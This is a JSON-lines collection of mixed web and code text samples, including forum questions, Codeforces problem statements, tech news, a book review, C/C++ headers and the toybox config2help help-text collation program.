{"text": "I need a web program for capturing an audio file from a youtube's video. When I have choosen the programmer i'll give him more details. Spanish skills its a plus.\nOne more thing. I need an iPhone application wich consume this web and offering the posibility of download the mp3 to reproduction list.\nI need only the iPhone native app, I resolved already the web page. Thanks.\n4 Freelancer bieten im Durchschnitt $313 für diesen Job\nThis software would be completed to fit within your project design, using the Python language. The charge is figuring out how to modify pre existing code to match your projects needs and specifications.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Apparently, today is the day of records in the SuperPi – 32M discipline. A few hours ago, the Italian overclocker Hardware_Numb3rs published a new result obtained on a 2-core, 4-thread processor. Just like its Russian colleague M1RROR, Hardware_Numb3rs decided to test the overclocked CPU in the SuperPi – 32M benchmark. In the case of the M1RROR, it was the aged AMD Phenom II X4 945, but the Italian chose the latest AMD Athlon 3000G processor for his experiments.\nWith the help of liquid nitrogen, the aforementioned chip was overclocked to a very modest (compared to its older brothers in architecture) 5089 MHz. The stability at this frequency brought Hardware_Numb3rs the first place in the CPU rank in the SuperPi – 32M discipline with a result of 6 minutes, 47 seconds 629 milliseconds:\nConsidering the relatively low frequency of the chip, we dare to assume that this is not the most successful copy of the Athlon 3000G processor, and soon the enthusiast will get a better CPU.\nIt is not possible to find out what hardware the test setup contained, since, unfortunately, the Italian did not indicate any components other than the motherboard ASUS ROG STRIX X470-I Gaming.\nSource: Result page on the HWBot website", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 303, "token_count_with_eod": 304, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|Racket Programming the Fun Way\nAuthor: James W. Stelly\nLisp is generally regarded as the language of the gods - but the gods are usually considered to be slightly more intelligent than the average mortal and so it is with some trepidation you should approach any descendent of Lisp. Racket is recognizably Lisp, but it also has object-oriented features that make \"normal\" programming easier. This said it is also worth knowing that the main use of Racket is to implement experimental languages and this is not the emphasis of this book. Instead this book is a collection of general projects that you might consider fun - hence \"Fun\" in the book's title.\nThe book uses the DrRacket IDE which is the only reasonable choice. Chapter 1 dives straight in with very Lisp-like lists and S expressions. If you've encountered Lisp in a former life this will look all very familiar. The presentation isn't formal and the syntax and ideas of the language are introduced by examples and informal discussion. There are no jokes, but the style is friendly and informative.\nChapter 2 introduces basic numeric types, Chapter 3 deals with creating functions and of course being a Lisp-like language this means lambda functions.\nReaching Chapter 4, we have left the basics of the language behind and start to look at examples. This is where you will learn most about Racket rather than details of the language. So if you don't like learning by example this isn't going to be to your liking. Chapter 4 is about graphics and Chapter 5 introduces Racket's GUI. This is all fairly object-oriented.\nChapter 6 is about data and file handling and the examples are about stats and visualization. Chapter 7 outlines the standard search algorithms, which is something any Lisp-oriented language is very good at. Chapter 8 introduces Racket's logic programming library, which gives you a chance to find out about Prolog-style programming. Chapter 9 looks at machines like Turing machines to give you some idea of what this aspect of computer science is all about and justifies the book's subtitle of \"from Strings to Turing Machines\".\nThe final chapter implements an algebraic calculator which does make use of Racket's language processing abilities, but this probably isn't enough for language theory students.\nThis is a beginner's book for the beginner who wants to learn something about Lisp-like languages. It doesn't cover all of the details of Racket, no mention is made of macros for example, and it doesn't explain why and how Racket is different from other Lisp-like languages, notably Clojure. As far as it goes it is a good introduction, as long as you like introductions that major on examples.\n|Last Updated ( Wednesday, 19 January 2022 )", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Q: How do I enable the minimal mode?\nA: Go to the Admin Panel, then find 'External Accounts Extended' and tick the box labelled as 'Minimal Mode'.\nQ: The service, <service> isn't working! What do I do?!\nA: Before posting about a service not working, make sure to check the following:\nMake sure the scopes are set correctly.\n- Most services have options to select the necessary scopes that your API application will request from the user. This addon only needs basic profile information so those related to that should be selected. For example, LinkedIn would need the following selected:\nThis allows your website to see their profile and email, necessary information to register on your site.\nSet the callback URL to your website's specific registration URL.\n- Most of the time this only needs to be your site URL, but some services require it to be set explicitly.\nThe format that needs to be used is the following:\nSo for example, for LinkedIn on the website testdomain.com, it would be 'testdomain.com/register/linkedin'\nQ: I received the error 'An unexpected error occurred. Please try again later.' What do I do?\nA: Follow these steps before posting that you are getting this error:\nAre the keys correct?\n- Make sure the API client key and the API secret are correctly inputted on your forum!\nDoes your VPS have the correct time?\n- I ran into this issue recently where my VPS's time drifted off and any oauth requests to services like Tumblr were simply rejected due to a skewed servertime. This is extremely unlikely to happen, but I only noticed my server having the wrong time because I was unable to login through Tumblr! It's worth a check", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "hi every one i'am having problem with include/require_once in PHP by which iam accessing a configuration file to connect database.\nThis problem exists in yahoo small business servers where i hosted my site in a free host it works fine for the same code.\nthe database connection is working fine but the including of files are not working even not showing an error.\nPlease help me out to solve this issue.\nIf this question is to placed on other location please lead me there.\n<?php session_start(); require_once(\"classes/DbConfig.php\"); $object_db = new DB(); $object_db->open_connection(); ?>\nThe above is the code for accessing the DbConfig.php file which is in classes folder and the below is for creating instance of class and opening the connection which is a function in that class.\nhere i used include also but there is no display of any error.\ni checked that if that file exists or not using the following code.\n<?php if(file_exists(\"classes/DbConfig.php\")) echo \"File Found\"; else echo \"File Not Found\"; ?>\nit displays \"File Found\".\nAnd there are no error logs in the domain control panel", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It there an already developed toolbox system for setup and sharing that addresses these issues:\nAll fasteners etc have unique pre-defined company part numbers. (New part number would be added by the administrator).\nAny user can easily search for an exiting part by description ( before requesting a new part#)\nSetup so Toolbox can be shared by any remote (VPN) user having the option to use the company toolbox or their own local toolbox.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\r\n#include<string>\r\n\r\nclass KMap {\r\nprivate:\r\n\t// Mảng 4x4 lưu trữ các vị trí đã nhập vào\r\n\tint matrix[4][4];\r\n\r\n\t// Đọc line và đưa vào mảng\r\n\tint parseToArray(std::string line, int numbers[16]);\r\n\r\npublic:\r\n\r\n\t// Constructor\r\n\tKMap();\r\n\r\n\t// Đọc dãy số từ console\r\n\tvoid parseLine(std::string line);\r\n\r\n\t// Sao chép ma trận\r\n\tvoid getMatrix(int m[4][4]);\r\n\r\n\t// Vẽ bản đồ Karnaugh\r\n\tvoid drawMap();\r\n};\r\n// Hàm tổng hợp các chức năng \r\nvoid Bool();", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There are $$$n$$$ cards numbered $$$1, \\ldots, n$$$. The card $$$i$$$ has a red digit $$$r_i$$$ and a blue digit $$$b_i$$$ written on it.\n\nWe arrange all $$$n$$$ cards in random order from left to right, with all permutations of $$$1, \\ldots, n$$$ having the same probability. We then read all red digits on the cards from left to right, and obtain an integer $$$R$$$. In the same way, we read all blue digits and obtain an integer $$$B$$$. When reading a number, leading zeros can be ignored. If all digits in a number are zeros, then the number is equal to $$$0$$$. Below is an illustration of a possible rearrangement of three cards, and how $$$R$$$ and $$$B$$$ can be found.\n\nTwo players, Red and Blue, are involved in a bet. Red bets that after the shuffle $$$R > B$$$, and Blue bets that $$$R < B$$$. If in the end $$$R = B$$$, the bet results in a draw, and neither player wins.\n\nDetermine, which of the two players is more likely (has higher probability) to win the bet, or that their chances are equal. Refer to the Note section for a formal discussion of comparing probabilities.", "source": "cpt_codeforces", "language": "en", "token_count": 272, "token_count_with_eod": 273, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Lazy Load Pattern\nLazy loading is a software design pattern where the initialization of an object occurs only when it is actually needed and not before to preserve simplicity of usage and improve performance. In another word \"Lazy initialization of an object means that its creation is deferred until it is first used.\"\n- When you have an object that is expensive to create, and the program might not use it.\n- When you have an object that is expensive to create, and you want to defer its creation until after other expensive operations have been completed.\n- Prevent system memory or computing cycles usage when there is no reason to do it.\n- Improve the startup performance of the program\n- When initializing there can be some lag when things are getting loaded into memory.\nThe following code snippet demonstrates how lazy loading works:\nPost a Comment", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have an array of integers $$$a$$$ of length $$$n$$$. You can apply the following operation to the given array:\n\n- Swap two elements $$$a_i$$$ and $$$a_j$$$ such that $$$i \\neq j$$$, $$$a_i$$$ and $$$a_j$$$ are either both even or both odd.\n\nDetermine whether it is possible to sort the array in non-decreasing order by performing the operation any number of times (possibly zero).\n\nFor example, let $$$a$$$ = [$$$7, 10, 1, 3, 2$$$]. Then we can perform $$$3$$$ operations to sort the array:\n\n1. Swap $$$a_3 = 1$$$ and $$$a_1 = 7$$$, since $$$1$$$ and $$$7$$$ are odd. We get $$$a$$$ = [$$$1, 10, 7, 3, 2$$$];\n2. Swap $$$a_2 = 10$$$ and $$$a_5 = 2$$$, since $$$10$$$ and $$$2$$$ are even. We get $$$a$$$ = [$$$1, 2, 7, 3, 10$$$];\n3. Swap $$$a_4 = 3$$$ and $$$a_3 = 7$$$, since $$$3$$$ and $$$7$$$ are odd. We get $$$a$$$ = [$$$1, 2, 3, 7, 10$$$].", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I’m searching to find a solution to get rid of the banner warning every time I boot to my macOS High Sierra.\nThe solution is to format and reinstall macOS High Sierra on the partition.\n- How To Make External NTFS Hard Drives Writable In Big Sur\n- Import iPhone Photos on Mac Using Preview and Image Capture Apps\n- How To Get iMessage and FaceTime Working On Big Sur\n- How To Replace WIFI Module On Dell Inspiron 3668\n- How To Backup DVDs To MP4 macOS Big Sur\n- How To Make Your First Desktop Hackintosh\n- Install macOS Big Sur On Supported Windows PCs and Laptops\n- How To Get Intel WiFi/BlueTooth Modules To Work With Hackintosh", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 150, "token_count_with_eod": 151, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Yes i am sexy. Dude priest male/female shell looks sexy too.Originally posted by Shurt+--><div class='quotetop'>QUOTE(Shurt)</div>Originally posted by KrisTysonLegolas@\n<!--QuoteBegin-GodOnly thing about a human that looks good is mini warrior male shell. The rest are ugly as fuck..[/b]\nIm not turk and i go orc cus orcs sexier *\n:blink: Orc....Sexier....Green...Skin :mellow:\nDont make me sick\nAll Go human Ftw\nI wont say what about orc because that is not of this topic, so if u want me to flame your orcs pm me pls. :lol:\nSo whoelse is coming? post here if u r coming, if u r gonna flame Manes please redirect ur web to next topic cause nicely let me tell u we dont care.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 189, "token_count_with_eod": 190, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of the problem. It differs from the easy one only in constraints on $$$n$$$. You can make hacks only if you lock both versions.\n\nLet $$$a_1, a_2, \\ldots, a_n$$$ be an array of non-negative integers. Let $$$F(a_1, a_2, \\ldots, a_n)$$$ be the sorted in the non-decreasing order array of $$$n - 1$$$ smallest numbers of the form $$$a_i + a_j$$$, where $$$1 \\le i < j \\le n$$$. In other words, $$$F(a_1, a_2, \\ldots, a_n)$$$ is the sorted in the non-decreasing order array of $$$n - 1$$$ smallest sums of all possible pairs of elements of the array $$$a_1, a_2, \\ldots, a_n$$$. For example, $$$F(1, 2, 5, 7) = [1 + 2, 1 + 5, 2 + 5] = [3, 6, 7]$$$.\n\nYou are given an array of non-negative integers $$$a_1, a_2, \\ldots, a_n$$$. Determine the single element of the array $$$\\underbrace{F(F(F\\ldots F}_{n-1}(a_1, a_2, \\ldots, a_n)\\ldots))$$$. Since the answer can be quite large, output it modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 328, "token_count_with_eod": 329, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Oscar managed to convince Bryce & Harrison to check out Ojisan to Marshmallow, one of his Winter 2016 anime season recommendations. What did they think??\nWe upload a tonne of videos, so subscribe to us on YouTube to get updates on them as soon as they go up!\nCheck out the Rice Chat playlist to see if we’ve chatted about something you missed!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "First, I think we need a clearer definition of \"multiverse hypothesis\".\nMy understanding of one definition of the term is that in each moment, new lines of existence are formed representing every possible quantum state.\nThat's a very large number of universes, but it is finite.\nSecondly, there's a difference between the variety of laws being very large (ok, fine, infinite) and the \"number of laws\" being infinite. I don't think the latter makes sense.\nI can think of a couple examples in US culture in which this isn't true.\nYoung men egged on to have sex by their peers.\nFailure to \"perform marital duties\" is, I believe, grounds for divorce in some states.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 151, "token_count_with_eod": 152, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Divan's new cottage is finally complete! However, after a thorough inspection, it turned out that the workers had installed the insulation incorrectly, and now the temperature in the house directly depends on the temperature outside. More precisely, if the temperature in the house is $$$P$$$ in the morning, and the street temperature is $$$T$$$, then by the next morning the temperature in the house changes according to the following rule:\n\n- $$$P_{new} = P + 1$$$, if $$$P < T$$$,\n- $$$P_{new} = P - 1$$$, if $$$P > T$$$,\n- $$$P_{new} = P$$$, if $$$P = T$$$.\n\nDivan is a very busy businessman, so sometimes he is not at home for long periods and does not know what the temperature is there now, so he hired you to find it. You will work for $$$n$$$ days. In the beginning of the $$$i$$$-th day, the temperature outside $$$T_i$$$ is first given to you. After that, on the $$$i$$$-th day, you will receive $$$k_i$$$ queries. Each query asks the following: \"if the temperature in the house was $$$x_i$$$ at the morning of the first day, what would be the temperature in the house next morning (after day $$$i$$$)?\"\n\nPlease answer all the businessman's queries.", "source": "cpt_codeforces", "language": "en", "token_count": 291, "token_count_with_eod": 292, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We now have the opportunity to upgrade a UW 2.1.3 dual processor box to\nUW 7. I am wondering if we will see a performance increase due to\nbetter File System I/O implementation and multi-processor support if no\nchanges are made to the actual hardware. Can anyone comment on this?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was wondering if it would be possible to have a security plugin for wordpress created.\nSome features I want the plugin to have are:\n- The ability to manually ban or whitelist IP addresses.\n- The ability to set a auto-log off feature with a customizable set log off interval\n-Password change scheduler, plugin will automatically prompt user to change password every x amount of days\n- A OTP login for admins for enhanced security\n- Captcha forms for login and register forms", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Determine how you want to collect deposits\nStripe integration must be set up prior to collecting deposits.\nIf you want to just charge one flat deposit for reservations, you can specify an amount. During booking, the guest will be notified that amount is required to complete checkout.\nIf you want to collect a percentage on the total amount, you can specify that as well as min and max amounts. For instance, if you specify you want to collect 25% on the total. For a $1000 reservation, a minimum of $300 could be set if you want that to the be minimum amount, or you can set a maximum. For example, for a $10,000 reservation, you can specify that $2000 is the maximum to collection. Several options are available if you choose.\nIf you want to allow completely different amounts per unit for deposits, you can specify an amount for each unit in your property.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've overhauled the fleet's movement system so that it uses the new free-moving system. Fleets adjacent to a star system will sit on either side, depending on if it's departing or just chilling, similar to MoO 1.\nI also updated the races to use the new SpriteManager instead of DrawingManagement (SpriteManager is faster and more efficient). So each race now have their own fleet icon.\nWhile this may seem like a short blog post, in actuality it was a lot of work. Just look at the SVN history to see how much code I changed to achieve this. There's still things I need to do to finish this, but it's now about 80% done!\nScreenshot of a fleeet adjacent to the home system (Space Hamsters' fleet icon):", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Danwei is dead, Long Live the New Danwei\nI don’t think Danwei need any introduction to most expats in China. The site has been around for quite sometime, predating most blogs and expat rags, reporting on happenings in China. Time have changed apparently with Jeremy Goldkorn and company going for a different direction/format.\nLast week, the new Danwei was launched, as a web magazine where each issue will have a specific focus! And guess what the focus of issue #1 is? yup, Music! actually, traditional Chinese instruments to be exact! As far as I understand it, the dizi, erhu, guzheng, zhongruan, pipa and drums all getting the mini videocumentary treatment.\nThe Erhu (二胡) post is up already featuring Liu Hong. Check it out and keep your eyes peeled for the next installements of posts. Our good friend, the multi-talented Jonah Kessel, had a big hand in this re-branding and producing some of those video.\nSo congrats to Danwei, Jeremy and Jonah…. long live the new danwei!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a PermissionError: [Errno 13] Permission denied¶\nGrocker does not ask for superuser rights before invoking Docker. The Docker socket has to be readable and writable by the current user. Many distributions create this socket to be readable and writable by root and the docker group.\nOne way to be able to use Grocker is to add your user to the docker group. On Debian:\n$ sudo adduser $(whoami) docker $ su $(whoami) # reload groups, you should also restart your session", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\n\n#include <string>\n#include <vector>\n\nnamespace pathos {\n\n\tstruct Bone {\n\n\tpublic:\n\t\tstd::string name;\n\t\tstd::vector<float> weights;\n\t\tstd::vector<unsigned int> vertexIDs;\n\t\tglm::mat4 offset;\n\t\tglm::mat4 finalTransform;\n\t};\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 73, "token_count_with_eod": 74, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "字幕列表 影片播放 列印英文字幕 [MUSIC PLAYING] -I'm Aaron Sams and I teach science here at Woodland Park High School. My ultimate goal, I guess, as a teacher is to help students become learners who can learn for themselves and by themselves. One of the problems that I was guilty of, even prior to flipping my classroom around, was the classroom was centered around me. I told them exactly what to learn, how to learn it, what assignments to do to learn it, and when to learn it, and how to prove to me that they learned it. I don't do that anymore. We changed the place in which content is delivered. Instead of standing in front of a class and delivering-- here's how you do this type of problem, here's how this worked-- I deliver that direct instruction now asynchronously at home through these videos that we make with Camtasia Studio. -Times [? till ?] whole. -Oh, we didn't do that last time. -Because the last step, they were already whole numbers. We had one, one, and four. Here, we don't have a whole number. So here's a few little tricks when you need to multiply by whole numbers. If one of your numbers ends in 0.5, you're going to multiply by 2. -All right, something-0.5 times it by two. Write this down, guys. -If something ends in 0.33 or 0.66, you multiply by 3. And when the kids come to class, they don't show up to learn new stuff, they show up to apply the things that they learn at home and to ask me questions about the things they learned at home. So now they can have my lesson, if you will. What I would normally have stood up and lectured to them in class with some added features, they get that at home. And then what they were expected to do for homework is now what they do in my class. Life is different for me, because I no longer am the guy who stands up in the front of the classroom and just yaks at a student for an hour or however long the class is. Now, I walk around the class and I help kids. I'm a tutor, I'm a guide, I'm the putter-outer of fires, whatever it happens to be in my crazy chemistry class. I walk around and do that, I don't stand up front and teach under the traditional model. I'm Aaron Sams. I'm a teacher. I'm a dad. I'm a husband. And I love Camtasia Studio.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sudoers file seems that has error:\nsudo sudo: >>> /etc/sudoers: syntax error near line 56 <<< sudo: parse error in /etc/sudoers near line 56 sudo: no valid sudoers sources found, quitting sudo: unable to initialize policy plugin\nI can connect to EC2 via SSH as ec2-user but can not edit sudoers file in order to fix the error.\nvisudo visudo: /etc/sudoers: Permission denied visudo: /etc/sudoers: Permission denied\nTried 'pkexec visudo':\npkexec visudo Error executing command as another user: No authentication agent was found.\nWhat can I do at this point in order to fix /etc/sudoers file?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include \"toys.h\"\n\n// Humor toys.h\nstruct toy_context toys;\nchar libbuf[4096], toybuf[4096];\nvoid show_help(void) {;}\nvoid toy_exec(char *argv[]) {;}\n\n// Parse config files into data structures.\n\nstruct symbol {\n  struct symbol *next;\n  int enabled, help_indent;\n  char *name, *depends;\n  struct double_list *help;\n} *sym;\n\nchar *trim(char *s)\n{\n  while (isspace(*s)) s++;\n\n  return s;\n}\n\nchar *keyword(char *name, char *line)\n{\n  int len = strlen(name);\n\n  line = trim(line);\n  if (strncmp(name, line, len)) return 0;\n  line += len;\n  if (*line && !isspace(*line)) return 0;\n  line = trim(line);\n\n  return line;\n}\n\nchar *dlist_zap(struct double_list **help)\n{\n  struct double_list *dd = dlist_pop(help);\n  char *s = dd->data;\n\n  free(dd);\n  \n  return s;\n}\n\nint zap_blank_lines(struct double_list **help)\n{\n  int got = 0;\n\n  while (*help) {\n    char *s;\n\n    s = trim((*help)->data);\n\n    if (*s) break;\n    got++;\n    free(dlist_zap(help));\n  }\n\n  return got;\n}\n\n// Collect \"-a blah\" description lines following a blank line (or start).\n// Returns array of removed lines with *len entries (0 for none).\n\n// Moves *help to new start of text (in case dash lines were at beginning).\n// Sets *from to where dash lines removed from (in case they weren't).\n// Discards blank lines before and after dashlines.\n\n// If no prefix, *help NULL. If no postfix, *from == *help\n// if no dashlines returned *from == *help.\n\nchar **grab_dashlines(struct double_list **help, struct double_list **from,\n                      int *len)\n{\n  struct double_list *dd;\n  char *s, **list;\n  int count = 0;\n\n  *len = 0;\n  zap_blank_lines(help);\n  *from = *help;\n\n  // Find start of dash block. Must be at start or after blank line.\n  for (;;) {\n    s = trim((*from)->data);\n    if (*s == '-' && s[1] != '-' && !count) break;\n\n    if (!*s) count = 0;\n    else count++;\n\n    *from = (*from)->next;\n    if (*from == *help) return 0;\n  }\n\n  // If there was whitespace before this, zap it. This can't take out *help\n  // because zap_blank_lines skipped blank lines, and we had to have at least\n  // one non-blank line (a dash line) to get this far.\n  while (!*trim((*from)->prev->data)) {\n    *from = (*from)->prev;\n    free(dlist_zap(from));\n  }\n\n  // Count number of dashlines, copy out to array, zap trailing whitespace\n  // If *help was at start of dashblock, move it with *from\n  count = 0;\n  dd = *from;\n  if (*help == *from) *help = 0;\n  for (;;) {\n   if (*trim(dd->data) != '-') break;\n   count++;\n   if (*from == (dd = dd->next)) break;\n  }\n\n  list = xmalloc(sizeof(char *)*count);\n  *len = count;\n  while (count) list[--count] = dlist_zap(from);\n\n  return list;\n}\n\nvoid parse(char *filename)\n{\n  FILE *fp = xfopen(filename, \"r\");\n  struct symbol *new = 0;\n\n  for (;;) {\n    char *s, *line = NULL;\n    size_t len;\n\n    // Read line, trim whitespace at right edge.\n    if (getline(&line, &len, fp) < 1) break;\n    s = line+strlen(line);\n    while (--s >= line) {\n      if (!isspace(*s)) break;\n      *s = 0;\n    }\n\n    // source or config keyword at left edge?\n    if (*line && !isspace(*line)) {\n      if ((s = keyword(\"config\", line))) {\n        new = xzalloc(sizeof(struct symbol));\n        new->next = sym;\n        new->name = s;\n        sym = new;\n      } else if ((s = keyword(\"source\", line))) parse(s);\n\n      continue;\n    }\n    if (!new) continue;\n\n    if (sym && sym->help_indent) {\n      dlist_add(&(new->help), line);\n      if (sym->help_indent < 0) {\n        sym->help_indent = 0;\n        while (isspace(line[sym->help_indent])) sym->help_indent++;\n      }\n    }\n    else if ((s = keyword(\"depends\", line)) && (s = keyword(\"on\", s)))\n      new->depends = s;\n    else if (keyword(\"help\", line)) sym->help_indent = -1;\n  }\n\n  fclose(fp);\n}\n\nint charsort(void *a, void *b)\n{\n  char *aa = a, *bb = b;\n\n  if (*aa < *bb) return -1;\n  if (*aa > *bb) return 1;\n  return 0;\n}\n\nint dashsort(char **a, char **b)\n{\n  char *aa = *a, *bb = *b;\n\n  if (aa[1] < bb[1]) return -1;\n  if (aa[1] > bb[1]) return 1;\n  return 0;\n}\n\nint dashlinesort(char **a, char **b)\n{\n  return strcmp(*a, *b);\n}\n\nint main(int argc, char *argv[])\n{\n  FILE *fp;\n\n  if (argc != 3) {\n    fprintf(stderr, \"usage: config2help Config.in .config\\n\");\n    exit(1);\n  }\n\n  // Read Config.in\n  parse(argv[1]);\n\n  // read .config\n  fp = xfopen(argv[2], \"r\");\n  for (;;) {\n    char *line = NULL;\n    size_t len;\n\n    if (getline(&line, &len, fp) < 1) break;\n    if (!strncmp(\"CONFIG_\", line, 7)) {\n      struct symbol *try;\n      char *s = line+7;\n\n      for (try=sym; try; try=try->next) {\n        len = strlen(try->name);\n        if (!strncmp(try->name, s, len) && s[len]=='=' && s[len+1]=='y') {\n          try->enabled++;\n          break;\n        } \n      }\n    }\n  }\n\n  // Collate help according to usage, depends, and .config\n\n  // Loop through each entry, finding duplicate enabled \"usage:\" names\n  // This is in reverse order, so last entry gets collated with previous\n  // entry until we run out of matching pairs.\n  for (;;) {\n    struct symbol *throw = 0, *catch;\n    char *this, *that, *cusage, *tusage, *name;\n    int len;\n\n    // find a usage: name and collate all enabled entries with that name\n    for (catch = sym; catch; catch = catch->next) {\n      if (catch->enabled != 1) continue;\n      if (catch->help && (that = keyword(\"usage:\", catch->help->data))) {\n        struct double_list *cfrom, *tfrom, *anchor;\n        char *try, **cdashlines, **tdashlines;\n        int clen, tlen;\n\n        // Align usage: lines, finding a matching pair so we can suck help\n        // text out of throw into catch, copying from this to that\n        if (!throw) name = that;\n        else if (strncmp(name, that, len) || !isspace(that[len])) continue;\n        catch->enabled++;\n        while (!isspace(*that) && *that) that++;\n        if (!throw) len = that-name;\n        that = trim(that);\n        if (!throw) {\n          throw = catch;\n          this = that;\n\n          continue;\n        }\n\n        // Grab option description lines to collate from catch and throw\n        tusage = dlist_zap(&throw->help);\n        tdashlines = grab_dashlines(&throw->help, &tfrom, &tlen);\n        cusage = dlist_zap(&catch->help);\n        cdashlines = grab_dashlines(&catch->help, &cfrom, &clen);\n        anchor = catch->help;\n\n        // If we've got both, collate and alphebetize\n        if (cdashlines && tdashlines) {\n          char **new = xmalloc(sizeof(char *)*(clen+tlen));\n\n          memcpy(new, cdashlines, sizeof(char *)*clen);\n          memcpy(new+clen, tdashlines, sizeof(char *)*tlen);\n          free(cdashlines);\n          free(tdashlines);\n          qsort(new, clen+tlen, sizeof(char *), (void *)dashlinesort);\n          cdashlines = new;\n\n        // If just one, make sure it's in catch.\n        } else if (tdashlines) cdashlines = tdashlines;\n\n        // If throw had a prefix, insert it before dashlines, with a\n        // blank line if catch had a prefix.\n        if (tfrom && tfrom != throw->help) {\n          if (throw->help || catch->help) dlist_add(&cfrom, strdup(\"\"));\n          else {\n            dlist_add(&cfrom, 0);\n            anchor = cfrom->prev;\n          }\n          while (throw->help && throw->help != tfrom)\n            dlist_add(&cfrom, dlist_zap(&throw->help));\n          if (cfrom && cfrom->prev->data && *trim(cfrom->prev->data))\n            dlist_add(&cfrom, strdup(\"\"));\n        }\n        if (!anchor) {\n          dlist_add(&cfrom, 0);\n          anchor = cfrom->prev;\n        }\n\n        // Splice sorted lines back in place\n        if (cdashlines) {\n          tlen += clen;\n\n          for (clen = 0; clen < tlen; clen++) \n            dlist_add(&cfrom, cdashlines[clen]);\n        }\n\n        // If there were no dashlines, text would be considered prefix, so\n        // the list is definitely no longer empty, so discard placeholder.\n        if (!anchor->data) dlist_zap(&anchor);\n\n        // zap whitespace at end of catch help text\n        while (!*trim(anchor->prev->data)) {\n          anchor = anchor->prev;\n          free(dlist_zap(&anchor));\n        }\n\n        // Append trailing lines.\n        while (tfrom) dlist_add(&anchor, dlist_zap(&tfrom));\n\n        // Collate first [-abc] option block in usage: lines\n        try = 0;\n        if (*this == '[' && this[1] == '-' && this[2] != '-' &&\n            *that == '[' && that[1] == '-' && that[2] != '-')\n        {\n          char *from = this+2, *to = that+2;\n          int ff = strcspn(from, \" ]\"), tt = strcspn(to, \" ]\");\n\n          if (from[ff] == ']' && to[tt] == ']') {\n            try = xmprintf(\"[-%.*s%.*s] \", ff, from, tt, to);\n            qsort(try+2, ff+tt, 1, (void *)charsort);\n            this = trim(this+ff+3);\n            that = trim(that+tt+3);\n          }\n        }\n\n        // The list is definitely no longer empty, so discard placeholder.\n        if (!anchor->data) dlist_zap(&anchor);\n\n        // Add new collated line (and whitespace).\n        dlist_add(&anchor, xmprintf(\"%*cusage: %.*s %s%s%s%s\",\n                  catch->help_indent, ' ', len, name, try ? try : \"\",\n                  this, *this ? \" \" : \"\", that));\n        free(try);\n        dlist_add(&anchor, strdup(\"\"));\n        free(cusage);\n        free(tusage);\n        throw->enabled = 0;\n        throw = catch;\n        throw->help = anchor->prev->prev;\n\n        throw = catch;\n        this = throw->help->data + throw->help_indent + 8 + len;\n      }\n    }\n\n    // Did we find one?\n\n    if (!throw) break;\n  }\n\n  // Print out help #defines\n  while (sym) {\n    struct double_list *dd;\n\n    if (sym->help) {\n      int i;\n      char *s = xstrdup(sym->name);\n\n      for (i = 0; s[i]; i++) s[i] = tolower(s[i]);\n      printf(\"#define help_%s \\\"\", s);\n      free(s);\n\n      dd = sym->help;\n      for (;;) {\n        i = sym->help_indent;\n\n        // Trim leading whitespace\n        s = dd->data;\n        while (isspace(*s) && i) {\n          s++;\n          i--;\n        }\n        for (i=0; s[i]; i++) {\n          if (s[i] == '\"' || s[i] == '\\\\') putchar('\\\\');\n          putchar(s[i]);\n        }\n        putchar('\\\\');\n        putchar('n');\n        dd = dd->next;\n        if (dd == sym->help) break;\n      }\n      printf(\"\\\"\\n\\n\");\n    }\n    sym = sym->next;\n  }\n\n  return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 3230, "token_count_with_eod": 3231, "validation_channel": "code", "validation_source": "cpt_stack_code"}
